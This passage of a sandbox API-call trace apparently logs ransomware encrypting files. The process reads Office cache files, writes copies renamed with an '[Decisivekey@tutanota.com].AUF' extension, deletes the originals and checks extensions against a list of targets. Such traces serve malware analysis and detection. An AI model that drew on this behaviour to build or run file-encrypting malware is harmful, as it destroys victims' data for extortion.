lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0204.139] SetEndOfFile (hFile=0x170) returned 1 [0204.139] CloseHandle (hObject=0x170) returned 1 [0204.140] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.140] SetEndOfFile (hFile=0x17c) returned 1 [0204.141] CloseHandle (hObject=0x17c) returned 1 [0204.141] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x27) returned 1 [0204.141] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0204.141] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.141] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.141] lstrlenW (lpString=".doc") returned 4 [0204.141] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString=".docx") returned 5 [0204.141] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0204.141] lstrlenW (lpString=".pdf") returned 4 [0204.141] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString=".xls") returned 4 [0204.141] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString=".xlsx") returned 5 [0204.141] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0204.141] lstrlenW (lpString=".ppt") returned 4 [0204.141] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.141] lstrlenW (lpString=".zip") returned 4 [0204.141] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString=".rar") returned 4 [0204.141] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString=".bz2") returned 4 [0204.141] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString=".7z") returned 3 [0204.141] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0204.141] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.141] lstrlenW (lpString=".dbf") returned 4 [0204.141] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0204.141] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.141] lstrlenW (lpString=".1cd") returned 4 [0204.142] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0204.142] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.142] lstrlenW (lpString=".jpg") returned 4 [0204.142] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.142] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.142] lstrlenW (lpString=".doc") returned 4 [0204.142] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString=".docx") returned 5 [0204.142] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0204.142] lstrlenW (lpString=".pdf") returned 4 [0204.142] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString=".xls") returned 4 [0204.142] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString=".xlsx") returned 5 [0204.142] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0204.142] lstrlenW (lpString=".ppt") returned 4 [0204.142] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.142] lstrlenW (lpString=".zip") returned 4 [0204.142] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString=".rar") returned 4 [0204.142] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString=".bz2") returned 4 [0204.142] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString=".7z") returned 3 [0204.142] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0204.142] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.142] lstrlenW (lpString=".dbf") returned 4 [0204.142] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0204.142] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.142] lstrlenW (lpString=".1cd") returned 4 [0204.142] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0204.142] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0204.142] lstrlenW (lpString=".jpg") returned 4 [0204.142] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0204.143] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.143] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0204.143] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.143] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1450) returned 1 [0204.143] CloseHandle (hObject=0x17c) returned 1 [0204.143] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0204.144] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.144] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0204.144] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.144] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.144] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.144] GetLastError () returned 0x0 [0204.144] ReadFile (in: hFile=0x17c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0204.157] WriteFile (in: hFile=0x170, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0204.158] ReadFile (in: hFile=0x17c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.158] WriteFile (in: hFile=0x170, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0204.158] SetEndOfFile (hFile=0x170) returned 1 [0204.158] CloseHandle (hObject=0x170) returned 1 [0204.158] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.159] SetEndOfFile (hFile=0x17c) returned 1 [0204.159] CloseHandle (hObject=0x17c) returned 1 [0204.159] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.159] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString=".doc") returned 4 [0204.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString=".docx") returned 5 [0204.160] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.160] lstrlenW (lpString=".pdf") returned 4 [0204.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString=".xls") returned 4 [0204.160] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString=".xlsx") returned 5 [0204.160] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.160] lstrlenW (lpString=".ppt") returned 4 [0204.160] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString=".zip") returned 4 [0204.160] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.160] lstrlenW (lpString=".rar") returned 4 [0204.160] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString=".bz2") returned 4 [0204.160] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString=".7z") returned 3 [0204.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString=".dbf") returned 4 [0204.160] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString=".1cd") returned 4 [0204.160] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString=".jpg") returned 4 [0204.160] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.160] lstrlenW (lpString=".doc") returned 4 [0204.160] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.160] lstrlenW (lpString=".docx") returned 5 [0204.160] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.160] lstrlenW (lpString=".pdf") returned 4 [0204.160] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.161] lstrlenW (lpString=".xls") returned 4 [0204.161] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.161] lstrlenW (lpString=".xlsx") returned 5 [0204.161] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.161] lstrlenW (lpString=".ppt") returned 4 [0204.161] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.161] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.161] lstrlenW (lpString=".zip") returned 4 [0204.161] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.161] lstrlenW (lpString=".rar") returned 4 [0204.161] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.162] lstrlenW (lpString=".bz2") returned 4 [0204.162] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.162] lstrlenW (lpString=".7z") returned 3 [0204.162] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.162] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.162] lstrlenW (lpString=".dbf") returned 4 [0204.163] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.163] lstrlenW (lpString=".1cd") returned 4 [0204.163] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.163] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0204.163] lstrlenW (lpString=".jpg") returned 4 [0204.163] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.163] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.163] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0204.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.164] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1450) returned 1 [0204.164] CloseHandle (hObject=0x170) returned 1 [0204.164] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0204.164] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.164] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.164] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.164] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.164] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.165] GetLastError () returned 0x0 [0204.165] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0204.166] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0204.167] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.167] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0204.167] SetEndOfFile (hFile=0x180) returned 1 [0204.167] CloseHandle (hObject=0x180) returned 1 [0204.168] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.168] SetEndOfFile (hFile=0x170) returned 1 [0204.168] CloseHandle (hObject=0x170) returned 1 [0204.169] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.169] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0204.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.169] lstrlenW (lpString=".doc") returned 4 [0204.169] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString=".docx") returned 5 [0204.169] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.169] lstrlenW (lpString=".pdf") returned 4 [0204.169] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString=".xls") returned 4 [0204.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString=".xlsx") returned 5 [0204.169] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.169] lstrlenW (lpString=".ppt") returned 4 [0204.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.169] lstrlenW (lpString=".zip") returned 4 [0204.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.169] lstrlenW (lpString=".rar") returned 4 [0204.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString=".bz2") returned 4 [0204.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString=".7z") returned 3 [0204.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.169] lstrlenW (lpString=".dbf") returned 4 [0204.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.169] lstrlenW (lpString=".1cd") returned 4 [0204.169] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.170] lstrlenW (lpString=".jpg") returned 4 [0204.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.170] lstrlenW (lpString=".doc") returned 4 [0204.170] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString=".docx") returned 5 [0204.170] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0204.170] lstrlenW (lpString=".pdf") returned 4 [0204.170] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString=".xls") returned 4 [0204.170] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString=".xlsx") returned 5 [0204.170] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0204.170] lstrlenW (lpString=".ppt") returned 4 [0204.170] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.170] lstrlenW (lpString=".zip") returned 4 [0204.170] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.170] lstrlenW (lpString=".rar") returned 4 [0204.170] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString=".bz2") returned 4 [0204.170] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString=".7z") returned 3 [0204.170] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.170] lstrlenW (lpString=".dbf") returned 4 [0204.170] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.170] lstrlenW (lpString=".1cd") returned 4 [0204.170] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0204.170] lstrlenW (lpString=".jpg") returned 4 [0204.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.170] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.170] lstrlenW (lpString="Setup.xml") returned 9 [0204.170] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.171] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1608) returned 1 [0204.171] CloseHandle (hObject=0x170) returned 1 [0204.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.171] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.171] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.171] GetLastError () returned 0x0 [0204.171] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x648, lpOverlapped=0x0) returned 1 [0204.271] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x650, lpOverlapped=0x0) returned 1 [0204.272] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.272] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.272] SetEndOfFile (hFile=0x180) returned 1 [0204.272] CloseHandle (hObject=0x180) returned 1 [0204.273] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.273] SetEndOfFile (hFile=0x170) returned 1 [0204.273] CloseHandle 